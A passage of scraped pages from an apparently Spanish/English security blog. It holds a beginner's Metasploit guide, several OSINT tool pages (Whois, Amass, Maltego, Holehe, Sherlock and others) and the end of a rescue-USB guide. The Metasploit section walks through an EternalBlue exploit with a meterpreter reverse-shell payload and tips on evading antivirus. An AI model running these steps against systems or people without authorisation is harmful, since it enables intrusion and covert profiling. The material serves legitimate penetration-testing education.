| ---- | ------------------------------------------------------------------------------------------------------------------- |
| 1 | Reinicia y pulsa la tecla de menú de arranque (F12, F2, Esc o Supr según el fabricante) antes de que cargue Windows |
| 2 | Elige el USB en la lista de dispositivos de arranque |
| 3 | Si no aparece, puede que Secure Boot esté bloqueando ISOs Linux — desactívalo temporalmente en la BIOS/UEFI |
| 4 | Ventoy muestra el menú con todos los ISOs — elige el que corresponda al problema |
## Mantenimiento del USB
- Actualiza el ISO de Windows y el antivirus de rescate cada pocos meses — las definiciones y parches quedan obsoletos rápido
- Deja siempre algo de espacio libre en la partición de Ventoy para el próximo ISO que quieras añadir
- Guarda una copia de los ISOs en tu ordenador o en la nube, no solo en el USB — si el USB falla, no quieres volver a descargar todo desde cero
> ⚠️ Herramientas como el reset de contraseñas de Hiren's son exactamente igual de potentes usadas para bien que para mal — úsalas solo en equipos tuyos o con autorización explícita del propietario.
### Metasploit From Scratch
URL: https://thehacksparrow.com/guia-metasploit/
Last updated: 2026-09-23T10:55:46.000Z
> This guide isn't a list of commands (that's what the [Metasploit cheat sheet](https://thehacksparrow.com/metasploit/) is for) — it's **how to think** when you open `msfconsole`: what modules actually are, how to search for the right exploit without getting lost in thousands of results, and why an exploit that "should" work sometimes doesn't.
| **Level** | From scratch |
| ------------ | ------------------------------------- |
| **Requires** | Kali/Parrot with Metasploit installed |
## 1\. The five module types
Everything in Metasploit is a "module". Before searching for anything, it helps to be clear on which type you actually need:
| Type | What it does | Example |
| --------- | --------------------------------------------------------------------------------- | ------------------------------------------ |
| Exploit | Leverages a specific vulnerability to execute code | exploit/windows/smb/ms17\_010\_eternalblue |
| Auxiliary | Doesn't exploit anything directly — scans, brute-forces, checks versions | auxiliary/scanner/smb/smb\_version |
| Payload | The code that runs \*after\* the exploit succeeds (the shell, the meterpreter...) | windows/x64/meterpreter/reverse\_tcp |
| Encoder | Obfuscates a payload to dodge simple antivirus signatures | x86/shikata\_ga\_nai |
| Nop | Fills buffer space without affecting execution (for overflow exploits) | x86/opty2 |
> The most common beginner mistake: treating `exploit` as a synonym for "attack" in general. Often what you need first isn't an exploit at all, but an **auxiliary** module to confirm the exact service version before wasting time on the wrong exploit.
## 2\. Finding the right module
`search` is more powerful than it looks at first — don't just search by service name, combine filters:
```bash
search smb # general search
search type:exploit smb # exploits only
search type:auxiliary smb # auxiliary modules only
search cve:2017-0144 # by exact CVE
search platform:windows smb # by platform
search rank:excellent smb # only the most reliable
```
> **The "rank" matters more than it seems:** Metasploit grades every exploit's reliability (excellent, great, good, normal, average, low, manual). An "excellent" exploit shouldn't crash the service; a "low" or "average" one can hang it or fail silently — keep that in mind especially on real production systems.
## 3\. Configuring the module — what almost everyone skips
```bash
use exploit/windows/smb/ms17_010_eternalblue
show options
```
`show options` lists the variables, but three details get overlooked constantly:
- **Required = yes** doesn't mean it already has a value — check the "Current Setting" column, not just whether it's listed
- `show targets` shows the exact OS/version variants the exploit supports — if your target doesn't match any of them, the exploit will fail even if everything else is configured correctly
- `show advanced` hides options that are sometimes the difference between working and not (timeouts, HTTP paths, protocol version)
## 4\. Choosing a payload — the step most people get wrong
```bash
show payloads
set payload windows/x64/meterpreter/reverse_tcp
```
| Decision | Options | When to pick each |
| -------------------- | ----------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- |
| Bind vs Reverse | bind\_tcp opens a port on the target and you connect to it · reverse\_tcp the target connects back to you | Reverse almost always — bind fails if there's a firewall/NAT on the target, which is the usual case |
| Staged vs Stageless | Staged (/meterpreter/) sends the payload in two parts · Stageless (\_reverse\_tcp without meterpreter) sends it whole at once | Stageless if the target's AV/EDR inspects network traffic — it's less detectable since there's no "window" between stages |
| Shell vs Meterpreter | Shell = basic command access · Meterpreter = advanced shell with built-in post-exploitation modules | Meterpreter almost whenever the OS supports it — gives you far more control once you're in |
## 5\. LHOST/LPORT — the #1 cause of "nothing connects back"
```bash
set LHOST
set LPORT 4444
```
> **LHOST** has to be the IP the target can actually reach YOU on — not `127.0.0.1`, not an IP on a different interface than the one you use to reach the target. If you're on an HTB VPN, it's your `tun0` interface's IP, not your local network's. Double-check with `ip a` before launching the exploit.
To avoid repeating `set LHOST` on every new module:
```bash
setg LHOST
```
## 6\. Launching and managing the session
```bash
exploit -j # launch as a background job
sessions -l # list active sessions
sessions -i 1 # interact with session 1
background # return to msfconsole without closing the session
```
If the module supports `check`, use it before `exploit` to confirm the target is actually vulnerable without running the real attack yet — avoids crashing a service by probing blindly.
## Common errors and why they happen
| Symptom | Usual cause |
| ----------------------------------------------- | ------------------------------------------------------------------------------------------------------------------- |
| Exploit runs but no session comes back | LHOST set wrong, firewall blocking the port, or a bind payload instead of reverse |
| "Exploit completed, but no session was created" | The target may not actually be vulnerable, or the target/version picked in show targets doesn't match |
| The service crashes after the attempt | Low-rank exploit against a slightly different version — recheck show targets more carefully |
| AV/EDR blocks the payload before it runs | Staged payload detected in transit — try stageless, or generate the payload separately with msfvenom and an encoder |
## Full example — from search to session
```text
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show targets
show options
set RHOSTS 192.168.1.50
setg LHOST 10.0.0.5
check
show payloads
set payload windows/x64/meterpreter/reverse_tcp
exploit -j
sessions -l
sessions -i 1
```
> Esta guía no es un listado de comandos (para eso está el [cheatsheet de Metasploit](https://thehacksparrow.com/metasploit/)) — es **cómo pensar** cuando abres `msfconsole`: qué son realmente los módulos, cómo buscar el exploit correcto sin perderte entre miles de resultados, y por qué falla un exploit que "debería" funcionar.
| **Nivel** | Desde cero |
| ------------ | ------------------------------------ |
| **Requiere** | Kali/Parrot con Metasploit instalado |
## 1\. Los cinco tipos de módulo
Todo en Metasploit es un "módulo". Antes de buscar nada, conviene tener claro qué tipo de módulo necesitas:
| Tipo | Qué hace | Ejemplo |
| --------- | --------------------------------------------------------------------------------------------- | ------------------------------------------ |
| Exploit | Aprovecha una vulnerabilidad concreta para ejecutar código | exploit/windows/smb/ms17\_010\_eternalblue |
| Auxiliary | No explota nada directamente — escanea, hace fuerza bruta, comprueba versiones | auxiliary/scanner/smb/smb\_version |
| Payload | El código que se ejecuta \*después\* de que el exploit funcione (la shell, el meterpreter...) | windows/x64/meterpreter/reverse\_tcp |
| Encoder | Ofusca un payload para evadir firmas de antivirus simples | x86/shikata\_ga\_nai |
| Nop | Rellena espacio en un buffer sin afectar la ejecución (para exploits de desbordamiento) | x86/opty2 |
> El error más común de quien empieza: usar `exploit` como sinónimo de "ataque" en general. Muchas veces lo que necesitas primero no es un exploit, sino un módulo **auxiliary** para confirmar la versión exacta del servicio antes de gastar tiempo en el exploit equivocado.
## 2\. Buscar el módulo correcto
`search` es más potente de lo que parece a primera vista — no busques solo por el nombre del servicio, combina filtros:
```bash
search smb # busqueda general
search type:exploit smb # solo exploits
search type:auxiliary smb # solo auxiliares
search cve:2017-0144 # por CVE exacto
search platform:windows smb # por plataforma
search rank:excellent smb # solo los mas fiables
```
> **El "rank" importa más de lo que parece:** Metasploit clasifica cada exploit según su fiabilidad (excellent, great, good, normal, average, low, manual). Un exploit "excellent" no debería tumbar el servicio; uno "low" o "average" puede colgarlo o fallar sin previo aviso — tenlo en cuenta sobre todo en sistemas de producción reales.
## 3\. Configurar el módulo — lo que casi todo el mundo olvida
```bash
use exploit/windows/smb/ms17_010_eternalblue
show options
```
`show options` lista las variables, pero hay tres detalles que se pasan por alto constantemente:
- **Required = yes** no significa que ya tenga un valor — revisa la columna "Current Setting", no solo si aparece en la lista
- `show targets` muestra las variantes exactas del sistema operativo/versión que el exploit soporta — si tu objetivo no encaja en ninguna, el exploit fallará aunque todo lo demás esté bien configurado
- `show advanced` esconde opciones que a veces son la diferencia entre que funcione o no (timeouts, rutas HTTP, versión de protocolo)
## 4\. Elegir payload — el paso que más gente hace mal
```bash
show payloads
set payload windows/x64/meterpreter/reverse_tcp
```
| Decisión | Opciones | Cuándo elegir cada una |
| -------------------- | ----------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
| Bind vs Reverse | bind\_tcp abre un puerto en el objetivo y tú te conectas · reverse\_tcp el objetivo se conecta a ti | Reverse casi siempre — bind falla si hay firewall/NAT en el objetivo, que es lo habitual |
| Staged vs Stageless | Staged (/meterpreter/) envía el payload en dos partes · Stageless (\_reverse\_tcp sin meterpreter) lo envía entero de una vez | Stageless si el AV/EDR del objetivo inspecciona el tráfico de red — es menos detectable al no dejar una "ventana" entre etapas |
| Shell vs Meterpreter | Shell = acceso básico a comandos · Meterpreter = shell avanzada con módulos post-explotación integrados | Meterpreter casi siempre que el sistema operativo lo soporte — da mucho más control después de entrar |
## 5\. LHOST/LPORT — la causa número uno de "no me conecta"
```bash
set LHOST
set LPORT 4444
```
> **LHOST** tiene que ser la IP por la que el objetivo puede alcanzarte a TI — no `127.0.0.1`, no una IP de una interfaz distinta a la que usas para llegar al objetivo. Si estás en una VPN de HTB, es la IP de tu interfaz `tun0`, no la de tu red local. Confirma con `ip a` antes de lanzar el exploit.
Para no repetir `set LHOST` en cada módulo nuevo:
```bash
setg LHOST
```
## 6\. Lanzar y gestionar la sesión
```bash
exploit -j # lanza en background como job
sessions -l # lista sesiones activas
sessions -i 1 # interactua con la sesion 1
background # vuelve a msfconsole sin cerrar la sesion
```
Si el módulo soporta `check`, úsalo antes de `exploit` para confirmar que el objetivo es vulnerable sin ejecutar el ataque real todavía — evita colgar un servicio por probar a ciegas.
## Errores típicos y por qué pasan
| Síntoma | Causa habitual |
| ----------------------------------------------- | ------------------------------------------------------------------------------------------------------------- |
| El exploit se ejecuta pero no llega la sesión | LHOST mal puesto, firewall bloqueando el puerto, o payload bind en vez de reverse |
| "Exploit completed, but no session was created" | El objetivo puede no ser vulnerable realmente, o el target/versión seleccionado en show targets no encaja |
| El servicio se cae tras el intento | Exploit de rank bajo contra una versión ligeramente distinta — revisa show targets con más cuidado |
| AV/EDR bloquea el payload antes de ejecutarse | Payload staged detectado en tránsito — prueba stageless, o genera el payload con msfvenom y un encoder aparte |
## Ejemplo completo — de la búsqueda a la sesión
```text
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show targets
show options
set RHOSTS 192.168.1.50
setg LHOST 10.0.0.5
check
show payloads
set payload windows/x64/meterpreter/reverse_tcp
exploit -j
sessions -l
sessions -i 1
```
### BuiltWith
URL: https://thehacksparrow.com/builtwith/
Last updated: 2026-09-23T10:55:47.000Z
> **What it is** — BuiltWith is a technology fingerprinting web service, similar to Wappalyzer, but with two key differences: it keeps a **historical record** of which technologies a site has used over time (not just the current stack), and it offers **lists of domains** using a specific technology.
| **Type** | Web service |
| -------- | -------------------------------------------------------------- |
| **Cost** | Individual lookup free · paid tiers for lists/API |
| **URL** | [builtwith.com](https://builtwith.com/?ref=thehacksparrow.com) |
## How to use it
```bash
https://builtwith.com/domain.com
```
The page shows categories (CMS, analytics, hosting, JS frameworks, email marketing, security...) and, in the history tab, when each technology was first and last detected.
> Unlike Wappalyzer (which analyses the page in the moment, via a browser extension), BuiltWith maintains its own periodically-crawled index — that's why it can show history even if you've never visited the site before.
## What I use it for
- **Seeing a target's stack evolution:** whether they migrated from one CMS to another, or which technologies they dropped — sometimes reveals legacy systems still alive on forgotten subdomains.
- **A companion to Wappalyzer:** when Wappalyzer's result is ambiguous or incomplete, BuiltWith usually gives a more extensive list of detected technologies.
- **Understanding an organisation's business context** before an engagement: which marketing, analytics, or payment tools they use hints at their size and technical maturity.
## Link
[builtwith.com →](https://builtwith.com/?ref=thehacksparrow.com)
> **Qué es** — BuiltWith es un servicio web de fingerprinting de tecnologías, similar a Wappalyzer, pero con dos diferencias clave: mantiene un **histórico** de qué tecnologías ha usado un sitio a lo largo del tiempo (no solo el stack actual), y ofrece **listas de dominios** que usan una tecnología concreta.
| **Tipo** | Servicio web |
| --------- | -------------------------------------------------------------- |
| **Coste** | Lookup individual gratis · planes de pago para listas/API |
| **URL** | [builtwith.com](https://builtwith.com/?ref=thehacksparrow.com) |
## Cómo se usa
```bash
https://builtwith.com/dominio.com
```
La página muestra categorías (CMS, analítica, hosting, frameworks JS, email marketing, seguridad...) y, en la pestaña de histórico, cuándo se detectó cada tecnología por primera y última vez.
> A diferencia de Wappalyzer (que analiza la página en el momento, vía extensión de navegador), BuiltWith mantiene su propio índice rastreado periódicamente — por eso puede mostrar histórico sin que tú hayas visitado el sitio en el pasado.
## Para qué lo uso yo
- **Ver la evolución del stack de un objetivo:** si migraron de un CMS a otro, o qué tecnologías abandonaron — a veces revela sistemas legacy que siguen activos en subdominios olvidados.
- **Complemento a Wappalyzer:** cuando el resultado de Wappalyzer es ambiguo o incompleto, BuiltWith suele dar una lista más extensa de tecnologías detectadas.
- **Entender el contexto de negocio** de una organización antes de un engagement: qué herramientas de marketing, analítica o pago usan da pistas de su tamaño y madurez técnica.
## Enlace
[builtwith.com →](https://builtwith.com/?ref=thehacksparrow.com)
### Whois
URL: https://thehacksparrow.com/whois/
Last updated: 2026-09-23T10:55:48.000Z
> **What it is** — Whois queries a domain's public registration record: who registered it, when, with which registrar, and (if not hidden behind privacy protection) the associated contact details. It's one of the oldest and most basic queries in all OSINT recon, and still the mandatory first step.
| **Type** | CLI + web services |
| ------------------- | ------------------------------------------------ |
| **Cost** | Free |
| **Web alternative** | [who.is](https://who.is/?ref=thehacksparrow.com) |
## How to use it
```bash
whois domain.com
```
If `whois` isn't installed:
```bash
sudo apt install whois
```
> Many modern domains use **WHOIS privacy protection** (a registrar service that hides the real owner's data) — in those cases you'll see generic details from the privacy provider instead of the actual person/company. Even so, the registration date, registrar, and nameservers remain useful.
## What it reveals
- Domain registration and expiry dates
- Registrar (GoDaddy, Namecheap, Cloudflare...)
- Assigned nameservers (DNS)
- Owner contact details, if not protected by privacy
- Recent change history on some services (useful for spotting freshly registered domains, typical in phishing campaigns)
## What I use it for
- **First check on a suspicious domain:** a domain registered a few days ago is a classic red flag in phishing triage.
- **Confirming infrastructure ownership** before assuming a domain actually belongs to the organisation I'm auditing.
- **Recon starting point** — alongside crt.sh and DNSDumpster, it's always one of the first queries I run on a new target.
> **Qué es** — Whois consulta el registro público de un dominio: quién lo registró, cuándo, con qué registrador, y (si no está oculto tras protección de privacidad) los datos de contacto asociados. Es una de las consultas más antiguas y básicas de todo el reconocimiento OSINT, y sigue siendo el primer paso obligado.
| **Tipo** | CLI + servicios web |
| ------------------- | ------------------------------------------------ |
| **Coste** | Gratis |
| **Web alternativa** | [who.is](https://who.is/?ref=thehacksparrow.com) |
## Cómo se usa
```bash
whois dominio.com
```
Si `whois` no está instalado:
```bash
sudo apt install whois
```
> Muchos dominios modernos usan **WHOIS privacy protection** (un servicio del registrador que oculta los datos reales del titular) — en esos casos verás datos genéricos del proveedor de privacidad en vez de la persona/empresa real. Aun así, la fecha de registro, el registrador y los servidores de nombres siguen siendo útiles.
## Qué revela
- Fecha de registro y de expiración del dominio
- Registrador (GoDaddy, Namecheap, Cloudflare...)
- Servidores de nombres (DNS) asignados
- Datos de contacto del titular, si no están protegidos por privacidad
- Historial de cambios recientes en algunos servicios (útil para detectar dominios recién registrados, típico en campañas de phishing)
## Para qué lo uso yo
- **Primer chequeo de un dominio sospechoso:** un dominio registrado hace pocos días es una señal de alerta clásica en triage de phishing.
- **Confirmar propiedad de infraestructura** antes de asumir que un dominio pertenece realmente a la organización que estoy auditando.
- **Punto de partida de recon** — junto a crt.sh y DNSDumpster, siempre es de las primeras consultas que hago sobre un nuevo objetivo.
### OSINT Framework
URL: https://thehacksparrow.com/osint-framework/
Last updated: 2026-09-23T10:55:49.000Z
> **What it is** — OSINT Framework isn't a tool itself, but a **map/directory** organising hundreds of OSINT resources by category (usernames, emails, domains, social networks, images, geolocation, cryptocurrency, dark web...) as a navigable tree. When you don't know where to start or don't know the specific tool for a given data type, this site points you to it.
| **Type** | Web directory |
| -------- | ------------------------------------------------------------------------ |
| **Cost** | Free |
| **URL** | [osintframework.com](https://osintframework.com/?ref=thehacksparrow.com) |
## How to use it
- Open the site and browse the tree by category (Username, Email Address, Domain Name, Social Networks, Public Records...)
- Every leaf node links directly to the corresponding tool or website
- Icons next to each entry indicate whether it requires signup (💲), is paid, or has an API
> It's literally an **index** — it doesn't replace individual tools, it just saves you from having to remember or search for which one to use for each type of lookup.
## What I use it for
- **When I get stuck on an investigation:** if I've exhausted the tools I know off the top of my head, I check the corresponding category on the framework to see what I'm missing.
- **Discovering new tools:** there are always entries for niche services I didn't know about, especially in less common categories (dark web, cryptocurrency, transportation).
- **Teaching OSINT to a beginner:** it's the best starting point for understanding which categories of information exist before diving into specific tools.
## Link
[osintframework.com →](https://osintframework.com/?ref=thehacksparrow.com)
> **Qué es** — OSINT Framework no es una herramienta en sí, sino un **mapa/directorio** que organiza cientos de recursos OSINT por categoría (nombres de usuario, emails, dominios, redes sociales, imágenes, geolocalización, criptomonedas, dark web...) en forma de árbol navegable. Cuando no sabes por dónde empezar o no conoces la herramienta específica para un tipo de dato, este sitio te la señala.
| **Tipo** | Directorio web |
| --------- | ------------------------------------------------------------------------ |
| **Coste** | Gratis |
| **URL** | [osintframework.com](https://osintframework.com/?ref=thehacksparrow.com) |
## Cómo se usa
- Entra en la web y navega el árbol por categoría (Username, Email Address, Domain Name, Social Networks, Public Records...)
- Cada nodo hoja enlaza directamente a la herramienta o web correspondiente
- Los iconos junto a cada entrada indican si requiere registro (💲), si es de pago, o si tiene una API
> Es literalmente un **índice** — no reemplaza a las herramientas individuales, sino que te evita tener que recordar o buscar cuál usar para cada tipo de búsqueda.
## Para qué lo uso yo
- **Cuando me atasco en una investigación:** si ya agoté las herramientas que conozco de memoria, reviso la categoría correspondiente en el framework para ver qué se me está pasando por alto.
- **Descubrir herramientas nuevas:** siempre hay entradas para servicios de nicho que no conocía, sobre todo en categorías menos comunes (dark web, criptomonedas, transporte).
- **Enseñar OSINT a alguien que empieza:** es el mejor punto de partida para entender qué categorías de información existen antes de profundizar en herramientas concretas.
## Enlace
[osintframework.com →](https://osintframework.com/?ref=thehacksparrow.com)
### Reverse Image Search
URL: https://thehacksparrow.com/reverse-image-search/
Last updated: 2026-09-23T10:55:49.000Z
> **What it is** — reverse image search uploads or links a photo and returns where else that same image appears online: the original source, other sites reusing it, different-resolution versions, or profiles where it's used as an avatar. **Google, Yandex and TinEye** are the three main options, and they don't always return the same results — it's worth trying all three.
| **Type** | Free web services |
| --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Cost** | Free |
| **Where** | [images.google.com](https://images.google.com/?ref=thehacksparrow.com) · [yandex.com/images](https://yandex.com/images?ref=thehacksparrow.com) · [tineye.com](https://tineye.com/?ref=thehacksparrow.com) |
## How to use it
- Upload the image or paste its URL directly into any of the three engines
- **Google**: best for finding the context/article a recent Western image appeared in
- **Yandex**: surprisingly better than Google for **facial recognition** and content from Russian/Eastern European sources
- **TinEye**: specialises in finding an image's **oldest version** and its reuse history
> None of the three is perfect alone — when an image is sensitive or the source really matters, checking all three engines takes two minutes and often surfaces different results.
## What I use it for
- **Verifying a suspicious profile photo** in a phishing/social engineering attempt — often it's a stock photo or stolen from another real profile.
- **Approximate geolocation:** finding other photos of the same place can hint at where an image without EXIF metadata was taken.
- **Finding the original source** of an image circulating without attribution, to verify whether a document or post is legitimate.
> **Qué es** — la búsqueda inversa de imágenes sube o enlaza una foto y devuelve dónde más aparece esa misma imagen en internet: la fuente original, otras webs que la reutilizan, versiones en distinta resolución, o perfiles donde se ha usado como avatar. **Google, Yandex y TinEye** son las tres opciones principales, y no siempre dan los mismos resultados — merece la pena probar las tres.
| **Tipo** | Servicios web gratuitos |
| --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Coste** | Gratis |
| **Dónde** | [images.google.com](https://images.google.com/?ref=thehacksparrow.com) · [yandex.com/images](https://yandex.com/images?ref=thehacksparrow.com) · [tineye.com](https://tineye.com/?ref=thehacksparrow.com) |
## Cómo se usa
- Sube la imagen o pega su URL directamente en cualquiera de los tres buscadores
- **Google**: mejor para encontrar el contexto/artículo donde apareció una imagen occidental reciente
- **Yandex**: sorprendentemente mejor que Google para **reconocimiento facial** y contenido de origen ruso/europeo del este
- **TinEye**: se especializa en encontrar la **versión más antigua** de una imagen y su historial de reutilización
> Ninguno de los tres es perfecto en solitario — cuando una imagen es sensible o la fuente importa de verdad, probar los tres motores lleva dos minutos y a menudo revela resultados distintos.
## Para qué lo uso yo
- **Verificar una foto de perfil sospechosa** en un intento de phishing/ingeniería social — muchas veces es una foto de stock o robada de otro perfil real.
- **Geolocalización aproximada:** encontrar otras fotos del mismo lugar puede dar pistas sobre dónde se tomó una imagen sin metadatos EXIF.
- **Encontrar la fuente original** de una imagen que circula sin atribución, para verificar si un documento o publicación es legítimo.
### Holehe
URL: https://thehacksparrow.com/holehe/
Last updated: 2026-09-23T10:55:50.000Z
> **What it is** — Holehe checks whether an **email is registered** on dozens of services (social networks, platforms, apps) by abusing each site's "forgot your password?" or signup forms, which often reveal whether that address already has an account without needing to log in. Unlike Have I Been Pwned (which looks at historical breaches), Holehe checks **current active registration**.
| **Type** | CLI (Python) |
| -------- | --------------------------------------------------------------------------------------- |
| **Cost** | Free, open source |
| **Repo** | [github.com/megadose/holehe](https://github.com/megadose/holehe?ref=thehacksparrow.com) |
## How to use it
```bash
pip3 install holehe
```
```bash
holehe email@example.com
```
> The output flags each checked service as "registered", "not registered", or "rate limited"/error — not every service responds reliably, but with dozens of sources queried at once, the overall pattern is still usually useful.
## What I use it for
- **A companion to HIBP:** HIBP tells me if an email showed up in an already-known breach; Holehe tells me which services it has an account on *right now*, even if it's never suffered a public leak.
- **Identity verification in a report:** confirming a contact email corresponds to a real, active account on known platforms, not just a made-up address.
- **Personal hygiene:** checking how many forgotten services an old email I no longer check is still registered on.
## Link
[github.com/megadose/holehe →](https://github.com/megadose/holehe?ref=thehacksparrow.com)
> **Qué es** — Holehe comprueba si un **email está registrado** en decenas de servicios (redes sociales, plataformas, apps) abusando de los formularios de "¿olvidaste tu contraseña?" o de registro de cada sitio, que a menudo revelan si esa dirección ya tiene cuenta sin necesidad de acceder a ella. A diferencia de Have I Been Pwned (que mira brechas históricas), Holehe comprueba el **registro activo actual**.
| **Tipo** | CLI (Python) |
| --------- | --------------------------------------------------------------------------------------- |
| **Coste** | Gratis, open source |
| **Repo** | [github.com/megadose/holehe](https://github.com/megadose/holehe?ref=thehacksparrow.com) |
## Cómo se usa
```bash
pip3 install holehe
```
```bash
holehe correo@ejemplo.com
```
> La salida marca cada servicio comprobado como "registrado", "no registrado", o "rate limited"/error — no todos los servicios responden de forma fiable, pero con decenas de fuentes consultadas de golpe, el patrón general suele ser útil igualmente.
## Para qué lo uso yo
- **Complemento a HIBP:** HIBP me dice si un correo apareció en una brecha ya conocida; Holehe me dice en qué servicios tiene cuenta *ahora mismo*, aunque nunca haya sufrido una filtración pública.
- **Verificación de identidad en un informe:** confirmar que un correo de contacto corresponde a una cuenta real y activa en plataformas conocidas, no solo una dirección inventada.
- **Higiene personal:** revisar en cuántos servicios olvidados sigue registrado un correo antiguo que ya no reviso.
## Enlace
[github.com/megadose/holehe →](https://github.com/megadose/holehe?ref=thehacksparrow.com)
### OWASP Amass
URL: https://thehacksparrow.com/amass/
Last updated: 2026-09-23T10:55:51.000Z
> **What it is** — Amass (an OWASP project) is the most thorough and aggressive **subdomain enumeration** tool in common use: it combines passive sources (like crt.sh or Sublist3r), active DNS resolution, brute forcing, and search engine scraping, all into a single graph of the target's infrastructure.
| **Type** | CLI (Go) |
| -------- | ------------------------------------------------------------------------------------------- |
| **Cost** | Free, open source |
| **Repo** | [github.com/owasp-amass/amass](https://github.com/owasp-amass/amass?ref=thehacksparrow.com) |
## How to use it
Passive enumeration (external sources only, never touches the target):
```bash
amass enum -passive -d domain.com
```
Active enumeration (adds DNS resolution and brute forcing):
```bash
amass enum -active -d domain.com
```
View the accumulated relationship graph from previous scans:
```bash
amass viz -d domain.com -d3
```
> **Active** mode generates considerably more traffic against the target than crt.sh or Sublist3r — save it for when passive recon falls short, or when the program's scope explicitly allows it.
## What I use it for
- **Final recon pass** after crt.sh, DNSDumpster and Sublist3r — Amass often finds subdomains the lighter tools miss.
- **Mapping shared infrastructure:** the graph mode helps see which subdomains point to the same IP or the same cloud provider.
- **Large bug bounty programs:** when the scope includes the whole "\*.company.com", Amass is the tool that actually squeezes that surface.
## Link
[github.com/owasp-amass/amass →](https://github.com/owasp-amass/amass?ref=thehacksparrow.com)
> **Qué es** — Amass (proyecto OWASP) es la herramienta de **enumeración de subdominios** más completa y agresiva de las habituales: combina fuentes pasivas (igual que crt.sh o Sublist3r), resolución DNS activa, fuerza bruta, y scraping de motores de búsqueda, todo en un solo grafo de la infraestructura del objetivo.
| **Tipo** | CLI (Go) |
| --------- | ------------------------------------------------------------------------------------------- |
| **Coste** | Gratis, open source |
| **Repo** | [github.com/owasp-amass/amass](https://github.com/owasp-amass/amass?ref=thehacksparrow.com) |
## Cómo se usa
Enumeración pasiva (solo fuentes externas, sin tocar el objetivo):
```bash
amass enum -passive -d dominio.com
```
Enumeración activa (añade resolución DNS y fuerza bruta):
```bash
amass enum -active -d dominio.com
```
Ver el grafo de relaciones acumulado de escaneos anteriores:
```bash
amass viz -d dominio.com -d3
```
> El modo **activo** genera bastante más tráfico contra el objetivo que crt.sh o Sublist3r — resérvalo para cuando el pasivo se quede corto, o cuando el scope del programa lo permita explícitamente.
## Para qué lo uso yo
- **Última pasada de recon** tras crt.sh, DNSDumpster y Sublist3r — Amass suele encontrar subdominios que las herramientas más ligeras no cubren.
- **Mapear infraestructura compartida:** el modo de grafo ayuda a ver qué subdominios apuntan a la misma IP o al mismo proveedor cloud.
- **Programas de bug bounty grandes:** cuando el scope incluye "\*.empresa.com" al completo, Amass es la herramienta que de verdad exprime esa superficie.
## Enlace
[github.com/owasp-amass/amass →](https://github.com/owasp-amass/amass?ref=thehacksparrow.com)
### Maltego
URL: https://thehacksparrow.com/maltego/
Last updated: 2026-09-23T10:55:52.000Z
> **What it is** — Maltego is the reference tool for **visual entity correlation** in OSINT: it represents people, domains, IP addresses, emails and organisations as nodes in a graph, and automatically traces the relationships between them using "transforms" (queries against external sources) that keep expanding the map.
| **Type** | Desktop application (Java) |
| -------- | -------------------------------------------------------------------------- |
| **Cost** | Community Edition free (limited transforms) · paid tiers with more sources |
| **URL** | [maltego.com](https://www.maltego.com/?ref=thehacksparrow.com) |
## How to use it
- Install Maltego (comes preinstalled on Kali) and sign up to activate the Community Edition
- Create a new graph and drag in a starting entity: a domain, a person, an email...
- Right-click the entity → pick a **Transform** (e.g. "To DNS Name", "To Email addresses")
- Maltego queries the corresponding source and adds the results as new connected nodes
- Repeat on the new nodes to keep expanding the relationship map
> Maltego's value isn't any single search — it's **visualising how** dozens of loose data points connect, something far harder to spot at a glance in a spreadsheet or a list of terminal results.
## What I use it for
- **Mapping an organisation's surface** at the start of an engagement: from a domain to its subdomains, from there to IPs, from there to other domains on the same infrastructure.
- **Visualising relationships that aren't obvious** in plain text: which employees share an email pattern, which domains share the same registrant.
- **Presenting findings:** a Maltego graph communicates a chain of relationships far better than a list in a report.
## Link
[maltego.com →](https://www.maltego.com/?ref=thehacksparrow.com)
> **Qué es** — Maltego es la herramienta de referencia para **correlación visual de entidades** en OSINT: representa personas, dominios, direcciones IP, correos y organizaciones como nodos en un grafo, y traza las relaciones entre ellos automáticamente usando "transforms" (consultas a fuentes externas) que van expandiendo el mapa.
| **Tipo** | Aplicación de escritorio (Java) |
| --------- | ----------------------------------------------------------------------------------- |
| **Coste** | Community Edition gratis (transforms limitados) · versiones de pago con más fuentes |
| **URL** | [maltego.com](https://www.maltego.com/?ref=thehacksparrow.com) |
## Cómo se usa
- Instala Maltego (viene preinstalado en Kali) y regístrate para activar la Community Edition
- Crea un nuevo grafo y arrastra una entidad inicial: un dominio, una persona, un email...
- Botón derecho sobre la entidad → elige un **Transform** (ej. "To DNS Name", "To Email addresses")
- Maltego consulta la fuente correspondiente y añade los resultados como nuevos nodos conectados
- Repite sobre los nuevos nodos para ir expandiendo el mapa de relaciones
> La clave de Maltego no es ninguna búsqueda en particular, sino **visualizar cómo se conectan** decenas de datos sueltos — algo que en una hoja de cálculo o una lista de resultados de terminal es mucho más difícil de ver de un vistazo.
## Para qué lo uso yo
- **Mapear la superficie de una organización** al inicio de un engagement: de un dominio a sus subdominios, de ahí a IPs, de ahí a otros dominios en la misma infraestructura.
- **Visualizar relaciones que no son obvias** en texto plano: qué empleados comparten un patrón de email, qué dominios comparten un mismo registrante.
- **Presentar hallazgos:** un grafo de Maltego comunica una cadena de relaciones mucho mejor que una lista en un informe.
## Enlace
[maltego.com →](https://www.maltego.com/?ref=thehacksparrow.com)
### Sherlock
URL: https://thehacksparrow.com/sherlock/
Last updated: 2026-09-23T10:55:53.000Z
> **What it is** — Sherlock searches for a **username** across 300+ social networks and platforms at once, and tells you where an account with that alias exists. It's the natural companion to Have I Been Pwned: HIBP searches by email against known breaches, Sherlock searches by *username* against currently active registrations.
| **Type** | CLI (Python) |
| -------- | ----------------------------------------------------------------------------------------------------------- |
| **Cost** | Free, open source |
| **Repo** | [github.com/sherlock-project/sherlock](https://github.com/sherlock-project/sherlock?ref=thehacksparrow.com) |
## How to use it
```bash
git clone https://github.com/sherlock-project/sherlock.git
cd sherlock
python3 -m pip install -r requirements.txt
```
```bash
python3 sherlock target_username
```
Save the results to a file:
```bash
python3 sherlock target_username --output results.txt
```
> For every site on its list, Sherlock checks whether that profile URL returns an "exists" or "doesn't exist" — it never logs in or interacts with the account, it only checks whether the name is taken.
## What I use it for
